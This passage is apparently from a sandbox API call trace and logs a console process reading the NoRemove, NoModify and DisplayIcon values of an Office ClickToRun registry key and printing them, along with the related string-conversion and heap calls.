cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRemove", lpUsedDefaultChar=0x0) returned 8 [0146.902] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.902] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.902] __iob_func () returned 0x7fefd702a80 [0146.902] _fileno (_File=0x7fefd702ab0) returned 1 [0146.902] _errno () returned 0xc4bb0 [0146.902] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.903] _errno () returned 0xc4bb0 [0146.903] GetFileType (hFile=0x50) returned 0x1 [0146.903] lstrlenW (lpString=" ") returned 4 [0146.903] GetConsoleOutputCP () returned 0x1b5 [0146.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.903] GetConsoleOutputCP () returned 0x1b5 [0146.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.903] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.903] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.903] __iob_func () returned 0x7fefd702a80 [0146.903] _fileno (_File=0x7fefd702ab0) returned 1 [0146.903] _errno () returned 0xc4bb0 [0146.903] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.903] _errno () returned 0xc4bb0 [0146.903] GetFileType (hFile=0x50) returned 0x1 [0146.903] lstrlenW (lpString="REG_DWORD") returned 9 [0146.903] GetConsoleOutputCP () returned 0x1b5 [0146.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.903] GetConsoleOutputCP () returned 0x1b5 [0146.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.904] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.904] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.904] __iob_func () returned 0x7fefd702a80 [0146.904] _fileno (_File=0x7fefd702ab0) returned 1 [0146.904] _errno () returned 0xc4bb0 [0146.904] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.904] _errno () returned 0xc4bb0 [0146.904] GetFileType (hFile=0x50) returned 0x1 [0146.904] lstrlenW (lpString=" ") returned 4 [0146.904] GetConsoleOutputCP () returned 0x1b5 [0146.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.904] GetConsoleOutputCP () returned 0x1b5 [0146.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.904] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.904] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.904] __iob_func () returned 0x7fefd702a80 [0146.904] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.904] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0146.904] _fileno (_File=0x7fefd702ab0) returned 1 [0146.904] _errno () returned 0xc4bb0 [0146.904] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.904] _errno () returned 0xc4bb0 [0146.904] GetFileType (hFile=0x50) returned 0x1 [0146.904] lstrlenW (lpString="0x0") returned 3 [0146.904] GetConsoleOutputCP () returned 0x1b5 [0146.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.905] GetConsoleOutputCP () returned 0x1b5 [0146.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0146.905] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.905] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.905] __iob_func () returned 0x7fefd702a80 [0146.905] _fileno (_File=0x7fefd702ab0) returned 1 [0146.905] _errno () returned 0xc4bb0 [0146.905] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.905] _errno () returned 0xc4bb0 [0146.905] GetFileType (hFile=0x50) returned 0x1 [0146.905] lstrlenW (lpString="\n") returned 1 [0146.905] GetConsoleOutputCP () returned 0x1b5 [0146.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.905] GetConsoleOutputCP () returned 0x1b5 [0146.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.905] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.905] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.906] GetProcessHeap () returned 0x2e0000 [0146.906] GetProcessHeap () returned 0x2e0000 [0146.906] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.906] GetProcessHeap () returned 0x2e0000 [0146.906] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.906] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.906] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.906] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.906] GetProcessHeap () returned 0x2e0000 [0146.906] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.906] GetProcessHeap () returned 0x2e0000 [0146.906] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.906] GetProcessHeap () returned 0x2e0000 [0146.906] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.906] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.906] __iob_func () returned 0x7fefd702a80 [0146.906] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.906] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.906] _fileno (_File=0x7fefd702ab0) returned 1 [0146.906] _errno () returned 0xc4bb0 [0146.906] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.906] _errno () returned 0xc4bb0 [0146.906] GetFileType (hFile=0x50) returned 0x1 [0146.906] lstrlenW (lpString=" ") returned 4 [0146.906] GetConsoleOutputCP () returned 0x1b5 [0146.906] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.906] GetConsoleOutputCP () returned 0x1b5 [0146.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.907] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.907] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.907] lstrlenW (lpString="NoModify") returned 8 [0146.907] __iob_func () returned 0x7fefd702a80 [0146.907] _fileno (_File=0x7fefd702ab0) returned 1 [0146.907] _errno () returned 0xc4bb0 [0146.907] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.907] _errno () returned 0xc4bb0 [0146.907] GetFileType (hFile=0x50) returned 0x1 [0146.907] lstrlenW (lpString="NoModify") returned 8 [0146.907] GetConsoleOutputCP () returned 0x1b5 [0146.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.907] GetConsoleOutputCP () returned 0x1b5 [0146.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0146.907] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.907] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.907] __iob_func () returned 0x7fefd702a80 [0146.907] _fileno (_File=0x7fefd702ab0) returned 1 [0146.907] _errno () returned 0xc4bb0 [0146.907] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.907] _errno () returned 0xc4bb0 [0146.907] GetFileType (hFile=0x50) returned 0x1 [0146.907] lstrlenW (lpString=" ") returned 4 [0146.907] GetConsoleOutputCP () returned 0x1b5 [0146.908] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.908] GetConsoleOutputCP () returned 0x1b5 [0146.908] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.908] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.908] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.908] __iob_func () returned 0x7fefd702a80 [0146.908] _fileno (_File=0x7fefd702ab0) returned 1 [0146.908] _errno () returned 0xc4bb0 [0146.908] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.908] _errno () returned 0xc4bb0 [0146.908] GetFileType (hFile=0x50) returned 0x1 [0146.908] lstrlenW (lpString="REG_DWORD") returned 9 [0146.908] GetConsoleOutputCP () returned 0x1b5 [0146.908] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.908] GetConsoleOutputCP () returned 0x1b5 [0146.908] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.908] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.908] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.908] __iob_func () returned 0x7fefd702a80 [0146.908] _fileno (_File=0x7fefd702ab0) returned 1 [0146.909] _errno () returned 0xc4bb0 [0146.909] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.909] _errno () returned 0xc4bb0 [0146.909] GetFileType (hFile=0x50) returned 0x1 [0146.909] lstrlenW (lpString=" ") returned 4 [0146.909] GetConsoleOutputCP () returned 0x1b5 [0146.909] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.909] GetConsoleOutputCP () returned 0x1b5 [0146.909] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.909] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.909] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.909] __iob_func () returned 0x7fefd702a80 [0146.909] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.909] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0146.909] _fileno (_File=0x7fefd702ab0) returned 1 [0146.909] _errno () returned 0xc4bb0 [0146.909] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.909] _errno () returned 0xc4bb0 [0146.909] GetFileType (hFile=0x50) returned 0x1 [0146.909] lstrlenW (lpString="0x0") returned 3 [0146.909] GetConsoleOutputCP () returned 0x1b5 [0146.909] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.910] GetConsoleOutputCP () returned 0x1b5 [0146.910] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0146.910] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.910] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.910] __iob_func () returned 0x7fefd702a80 [0146.910] _fileno (_File=0x7fefd702ab0) returned 1 [0146.910] _errno () returned 0xc4bb0 [0146.910] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.910] _errno () returned 0xc4bb0 [0146.910] GetFileType (hFile=0x50) returned 0x1 [0146.910] lstrlenW (lpString="\n") returned 1 [0146.910] GetConsoleOutputCP () returned 0x1b5 [0146.910] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.910] GetConsoleOutputCP () returned 0x1b5 [0146.910] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.910] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.910] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.910] GetProcessHeap () returned 0x2e0000 [0146.910] GetProcessHeap () returned 0x2e0000 [0146.910] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.910] GetProcessHeap () returned 0x2e0000 [0146.910] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.910] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.911] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.911] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xa0) returned 0x0 [0146.911] GetProcessHeap () returned 0x2e0000 [0146.911] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa2) returned 0x2fd170 [0146.911] GetProcessHeap () returned 0x2e0000 [0146.911] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.911] GetProcessHeap () returned 0x2e0000 [0146.911] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa2 [0146.911] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0xa0 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", pcbData=0x23f670*=0x9e) returned 0x0 [0146.911] __iob_func () returned 0x7fefd702a80 [0146.911] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.911] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.911] _fileno (_File=0x7fefd702ab0) returned 1 [0146.911] _errno () returned 0xc4bb0 [0146.911] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.911] _errno () returned 0xc4bb0 [0146.911] GetFileType (hFile=0x50) returned 0x1 [0146.911] lstrlenW (lpString=" ") returned 4 [0146.911] GetConsoleOutputCP () returned 0x1b5 [0146.911] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.911] GetConsoleOutputCP () returned 0x1b5 [0146.911] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.911] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.911] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.912] lstrlenW (lpString="DisplayIcon") returned 11 [0146.912] __iob_func () returned 0x7fefd702a80 [0146.912] _fileno (_File=0x7fefd702ab0) returned 1 [0146.912] _errno () returned 0xc4bb0 [0146.912] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.912] _errno () returned 0xc4bb0 [0146.912] GetFileType (hFile=0x50) returned 0x1 [0146.912] lstrlenW (lpString="DisplayIcon") returned 11 [0146.912] GetConsoleOutputCP () returned 0x1b5 [0146.912] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0146.912] GetConsoleOutputCP () returned 0x1b5 [0146.912] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0146.912] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0146.912] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.912] __iob_func () returned 0x7fefd702a80 [0146.912] _fileno (_File=0x7fefd702ab0) returned 1 [0146.912] _errno () returned 0xc4bb0 [0146.912] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.912] _errno () returned 0xc4bb0 [0146.912] GetFileType (hFile=0x50) returned 0x1 [0146.912] lstrlenW (lpString=" ") returned 4 [0146.912] GetConsoleOutputCP () returned 0x1b5 [0146.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.932] GetConsoleOutputCP () returned 0x1b5 [0146.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.932] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.932] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.932] __iob_func () returned 0x7fefd702a80 [0146.932] _fileno (_File=0x7fefd702ab0) returned 1 [0146.932] _errno () returned 0xc4bb0 [0146.932] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.932] _errno () returned 0xc4bb0 [0146.932] GetFileType (hFile=0x50) returned 0x1 [0146.932] lstrlenW (lpString="REG_SZ") returned 6 [0146.932] GetConsoleOutputCP () returned 0x1b5 [0146.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.932] GetConsoleOutputCP () returned 0x1b5 [0146.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.932] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.932] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.932] __iob_func () returned 0x7fefd702a80 [0146.933] _fileno (_File=0x7fefd702ab0) returned 1 [0146.933] _errno () returned 0xc4bb0 [0146.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.933] _errno () returned 0xc4bb0 [0146.933] GetFileType (hFile=0x50) returned 0x1 [0146.933] lstrlenW (lpString=" ") returned 4 [0146.933] GetConsoleOutputCP () returned 0x1b5 [0146.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.933] GetConsoleOutputCP () returned 0x1b5 [0146.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.933] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.933] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.933] __iob_func () returned 0x7fefd702a80 [0146.933] _fileno (_File=0x7fefd702ab0) returned 1 [0146.933] _errno () returned 0xc4bb0 [0146.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.933] _errno () returned 0xc4bb0 [0146.933] GetFileType (hFile=0x50) returned 0x1 [0146.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0146.933] GetConsoleOutputCP () returned 0x1b5 [0146.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.933] GetConsoleOutputCP () returned 0x1b5 [0146.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", cchWideChar=78, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", lpUsedDefaultChar=0x0) returned 78 [0146.934] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 78 [0146.934] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.934] __iob_func () returned 0x7fefd702a80 [0146.934] _fileno (_File=0x7fefd702ab0) returned 1 [0146.934] _errno () returned 0xc4bb0 [0146.934] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.934] _errno () returned 0xc4bb0 [0146.934] GetFileType (hFile=0x50) returned 0x1 [0146.934] lstrlenW (lpString="\n") returned 1 [0146.934] GetConsoleOutputCP () returned 0x1b5 [0146.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 